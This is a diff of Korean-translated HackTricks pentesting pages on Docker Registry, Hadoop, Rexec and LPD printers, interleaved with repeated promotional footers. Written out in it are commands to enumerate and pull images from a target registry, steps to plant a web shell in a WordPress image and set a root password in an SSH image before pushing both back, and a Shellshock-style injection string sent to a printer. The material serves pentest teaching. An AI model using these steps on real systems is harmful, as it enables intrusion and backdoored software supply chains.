usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
||||||
|
|
||||||
|
@ -163,11 +151,9 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
|
||||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||||
```
|
```
|
||||||
|
### Enumeration using curl
|
||||||
|
|
||||||
### curl을 사용한 열거
|
한 번 **도커 레지스트리에 접근을 얻은 후** 사용할 수 있는 몇 가지 명령어는 다음과 같습니다:
|
||||||
|
|
||||||
한 번 **도커 레지스트리에 액세스를 획득한 후** 다음은 열거에 사용할 수 있는 몇 가지 명령어입니다:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#List repositories
|
#List repositories
|
||||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||||
|
@ -230,13 +216,11 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
|
||||||
#Inspect the insides of each blob
|
#Inspect the insides of each blob
|
||||||
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
현재 디렉토리에 blobs 파일 및 폴더가 나타납니다. **모든 blobs를 다운로드하고 동일한 폴더에 압축 해제하면 이전에 압축 해제된 blobs의 값이 덮어씌워집니다**, 따라서 주의하십시오. 각 blob를 별도의 폴더 내에서 압축 해제하여 각 blob의 정확한 내용을 검사하는 것이 흥미로울 수 있습니다.
|
다운로드하고 블롭 파일을 압축 해제하면 현재 디렉토리에 파일과 폴더가 나타납니다. **모든 블롭을 다운로드하고 동일한 폴더에 압축 해제하면 이전에 압축 해제된 블롭의 값이 덮어씌워지므로 주의하십시오. 각 블롭의 정확한 내용을 검사하기 위해 각 블롭을 다른 폴더 안에 압축 해제하는 것이 흥미로울 수 있습니다.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 도커를 사용한 열거
|
### Enumeration using docker
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
||||||
docker pull 10.10.10.10:5000/ubuntu
|
docker pull 10.10.10.10:5000/ubuntu
|
||||||
|
@ -255,11 +239,10 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
||||||
docker ps #Using a different shell
|
docker ps #Using a different shell
|
||||||
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
||||||
```
|
```
|
||||||
|
### WordPress 이미지에 백도어 추가하기
|
||||||
|
|
||||||
### WordPress 이미지에 백도어 심기
|
Docker Registry에서 WordPress 이미지를 발견한 경우, 백도어를 추가할 수 있습니다.\
|
||||||
|
**백도어**를 **생성**합니다:
|
||||||
만약 Docker Registry에서 워드프레스 이미지를 발견했다면 백도어를 심을 수 있습니다.\
|
|
||||||
**백도어**를 **생성**하세요:
|
|
||||||
|
|
||||||
{% code title="shell.php" %}
|
{% code title="shell.php" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -267,7 +250,7 @@ docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
**Dockerfile**을 작성하십시오:
|
**Dockerfile**를 생성합니다:
|
||||||
|
|
||||||
{% code title="Dockerfile" %}
|
{% code title="Dockerfile" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -277,49 +260,60 @@ RUN chmod 777 /app/shell.php
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
**새 이미지를** 만들고, **생성**되었는지 확인하고 \*\*푸시(push)\*\*하세요:
|
**새로운** 이미지를 **생성**하고, **생성**되었는지 **확인**한 후, **푸시**합니다:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker build -t 10.10.10.10:5000/wordpress .
|
docker build -t 10.10.10.10:5000/wordpress .
|
||||||
#Create
|
#Create
|
||||||
docker images
|
docker images
|
||||||
docker push registry:5000/wordpress #Push it
|
docker push registry:5000/wordpress #Push it
|
||||||
```
|
```
|
||||||
|
### Backdooring SSH server image
|
||||||
|
|
||||||
### SSH 서버 이미지에 백도어 설치
|
Docker Registry에서 SSH 이미지를 발견하고 이를 백도어하고 싶다고 가정해 보겠습니다.\
|
||||||
|
**이미지를 다운로드**하고 **실행**합니다:
|
||||||
만약 SSH 이미지가 있는 Docker 레지스트리를 발견했다고 가정하고 백도어를 설치하고 싶다면,\
|
|
||||||
이미지를 **다운로드**하고 **실행**하세요:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker pull 10.10.10.10:5000/sshd-docker-cli
|
docker pull 10.10.10.10:5000/sshd-docker-cli
|
||||||
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
||||||
```
|
```
|
||||||
|
`sshd_config` 파일을 SSH 이미지에서 추출합니다:
|
||||||
SSH 이미지에서 `sshd_config` 파일을 추출합니다:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
||||||
```
|
```
|
||||||
|
And modify it to set: `PermitRootLogin yes`
|
||||||
|
|
||||||
그리고 다음과 같이 설정을 변경하십시오: `PermitRootLogin yes`
|
Create a **Dockerfile** like the following one:
|
||||||
|
|
||||||
다음과 같은 **Dockerfile**을 만드십시오:
|
{% tabs %}
|
||||||
|
{% tab title="Dockerfile" %}
|
||||||
|
```bash
|
||||||
|
FROM 10.10.10.10:5000/sshd-docker-cli
|
||||||
|
COPY sshd_config /etc/ssh/
|
||||||
|
RUN echo root:password | chpasswd
|
||||||
|
```
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
|
**새로운** 이미지를 **생성**하고, **생성**되었는지 **확인**한 후, **푸시**합니다:
|
||||||
|
```bash
|
||||||
|
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
||||||
|
#Create
|
||||||
|
docker images
|
||||||
|
docker push registry:5000/sshd-docker-cli #Push it
|
||||||
|
```
|
||||||
|
## References
|
||||||
|
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
\`\`\`bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd\_config /etc/ssh/ RUN echo root:password | chpasswd \`\`\` \*\*이미지를\*\* 새로 만들고, 만들어졌는지 \*\*확인\*\*하고 \*\*푸시(push)\*\*하세요: \`\`\`bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it \`\`\` ## 참고 자료 \* \[https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/]\(https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* **💬** [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)**에 가입하거나** [**텔레그램 그룹**](https://t.me/peass)**에 가입하거나** 트위터\*\* 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
|
||||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,23 +1,24 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# **기본 정보**
|
# **기본 정보**
|
||||||
|
|
||||||
**Apache Hadoop**은 **컴퓨터 클러스터** 간의 **대규모 데이터셋**의 **분산 저장 및 처리**를 위한 **오픈 소스 프레임워크**입니다. 이는 저장을 위해 **HDFS**를 사용하고 처리를 위해 **MapReduce**를 사용합니다.
|
**Apache Hadoop**는 **컴퓨터 클러스터**에서 **대규모 데이터 세트**의 **분산 저장 및 처리**를 위한 **오픈 소스 프레임워크**입니다. **HDFS**를 저장소로 사용하고 **MapReduce**를 처리로 사용합니다.
|
||||||
|
|
||||||
아쉽게도 Hadoop은 현재 문서화된 시점에서 Metasploit 프레임워크에서 지원하지 않습니다. 그러나 다음 **Nmap 스크립트**를 사용하여 Hadoop 서비스를 열거할 수 있습니다:
|
안타깝게도 문서 작성 시점에서 Hadoop은 Metasploit 프레임워크에서 지원이 부족합니다. 그러나 다음 **Nmap 스크립트**를 사용하여 Hadoop 서비스를 열거할 수 있습니다:
|
||||||
|
|
||||||
- **`hadoop-jobtracker-info (포트 50030)`**
|
- **`hadoop-jobtracker-info (포트 50030)`**
|
||||||
- **`hadoop-tasktracker-info (포트 50060)`**
|
- **`hadoop-tasktracker-info (포트 50060)`**
|
||||||
|
@ -26,18 +27,19 @@ HackTricks를 지원하는 다른 방법:
|
||||||
- **`hadoop-secondary-namenode-info (포트 50090)`**
|
- **`hadoop-secondary-namenode-info (포트 50090)`**
|
||||||
|
|
||||||
|
|
||||||
중요한 점은 **Hadoop이 기본 설정에서 인증 없이 작동**한다는 것입니다. 그러나 보안을 강화하기 위해 HDFS, YARN 및 MapReduce 서비스와 Kerberos를 통합할 수 있는 구성이 제공됩니다.
|
**Hadoop은 기본 설정에서 인증 없이 작동한다는 점이 중요합니다.** 그러나 보안을 강화하기 위해 HDFS, YARN 및 MapReduce 서비스와 Kerberos를 통합하는 구성이 가능합니다.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,40 +1,42 @@
|
||||||
# 512 - Pentesting Rexec
|
# 512 - Pentesting Rexec
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## 기본 정보
|
## 기본 정보
|
||||||
|
|
||||||
유효한 **자격 증명** (사용자 이름과 비밀번호)을 알고 있다면, 호스트 내에서 **명령을 실행**할 수 있는 서비스입니다.
|
유효한 **자격 증명**(사용자 이름 및 비밀번호)을 알고 있다면 **호스트 내에서 명령을 실행할 수 있는 서비스**입니다.
|
||||||
|
|
||||||
**기본 포트:** 512
|
**기본 포트:** 512
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
512/tcp open exec
|
512/tcp open exec
|
||||||
```
|
```
|
||||||
### [**무차별 대입 공격**](../generic-methodologies-and-resources/brute-force.md#rexec)
|
### [**브루트포스**](../generic-methodologies-and-resources/brute-force.md#rexec)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,24 +1,25 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
### **LPD 프로토콜 소개**
|
### **LPD 프로토콜 소개**
|
||||||
|
|
||||||
1980년대에는 **Line Printer Daemon (LPD) 프로토콜**이 Berkeley Unix에서 개발되었으며, 나중에 RFC1179를 통해 공식화되었습니다. 이 프로토콜은 515/tcp 포트를 통해 작동하며, `lpr` 명령을 통해 상호작용할 수 있습니다. LPD를 통한 인쇄의 핵심은 **제어 파일**(작업 세부 정보 및 사용자 지정)과 함께 **데이터 파일**(인쇄 정보를 보유)을 보내는 것입니다. 제어 파일을 통해 데이터 파일에 대한 **다양한 파일 형식**을 선택할 수 있지만, 이러한 파일의 처리는 특정 LPD 구현에 따라 결정됩니다. Unix와 유사한 시스템에서 널리 인정받는 구현체는 **LPRng**입니다. 특히, LPD 프로토콜은 악성 PostScript 또는 PJL 인쇄 작업을 실행하기 위해 악용될 수 있습니다.
|
1980년대에 **라인 프린터 데몬 (LPD) 프로토콜**이 버클리 유닉스에서 개발되었으며, 이후 RFC1179를 통해 공식화되었습니다. 이 프로토콜은 포트 515/tcp를 통해 작동하며, `lpr` 명령어를 통해 상호작용을 허용합니다. LPD를 통한 인쇄의 본질은 **제어 파일**(작업 세부정보 및 사용자 지정)과 **데이터 파일**(인쇄 정보를 포함) 전송에 있습니다. 제어 파일은 데이터 파일에 대한 **다양한 파일 형식** 선택을 허용하지만, 이러한 파일의 처리는 특정 LPD 구현에 따라 결정됩니다. 유닉스 계열 시스템에서 널리 인식되는 구현은 **LPRng**입니다. 특히, LPD 프로토콜은 **악성 PostScript** 또는 **PJL 인쇄 작업**을 실행하는 데 악용될 수 있습니다.
|
||||||
|
|
||||||
### **LPD 프린터와 상호작용하기 위한 도구**
|
### **LPD 프린터와 상호작용하기 위한 도구**
|
||||||
|
|
||||||
[**PRET**](https://github.com/RUB-NDS/PRET)는 LPD 호환 프린터와 상호작용하기 위한 두 가지 필수 도구인 `lpdprint`와 `lpdtest`를 소개합니다. 이 도구들은 데이터를 인쇄하거나 프린터 상의 파일을 조작하는 다양한 작업을 가능하게 합니다. 파일의 다운로드, 업로드, 삭제 등이 가능합니다:
|
[**PRET**](https://github.com/RUB-NDS/PRET)는 `lpdprint`와 `lpdtest`라는 두 가지 필수 도구를 소개하며, LPD 호환 프린터와 상호작용하는 간단한 방법을 제공합니다. 이러한 도구는 데이터를 인쇄하는 것부터 프린터에서 파일을 조작하는 것(다운로드, 업로드 또는 삭제 등)까지 다양한 작업을 가능하게 합니다:
|
||||||
```python
|
```python
|
||||||
# To print a file to an LPD printer
|
# To print a file to an LPD printer
|
||||||
lpdprint.py hostname filename
|
lpdprint.py hostname filename
|
||||||
|
@ -33,23 +34,24 @@ lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
|
||||||
# To send a mail through the printer
|
# To send a mail through the printer
|
||||||
lpdtest.py hostname mail lpdtest@mailhost.local
|
lpdtest.py hostname mail lpdtest@mailhost.local
|
||||||
```
|
```
|
||||||
프린터 해킹을 더 탐구하고 싶은 개인들을 위한 포괄적인 자료는 [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page)에서 찾을 수 있습니다.
|
프린터 해킹에 관심이 있는 개인을 위해 포괄적인 리소스를 여기에서 찾을 수 있습니다: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||||
|
|
||||||
# Shodan
|
# Shodan
|
||||||
|
|
||||||
* `포트 515`
|
* `port 515`
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
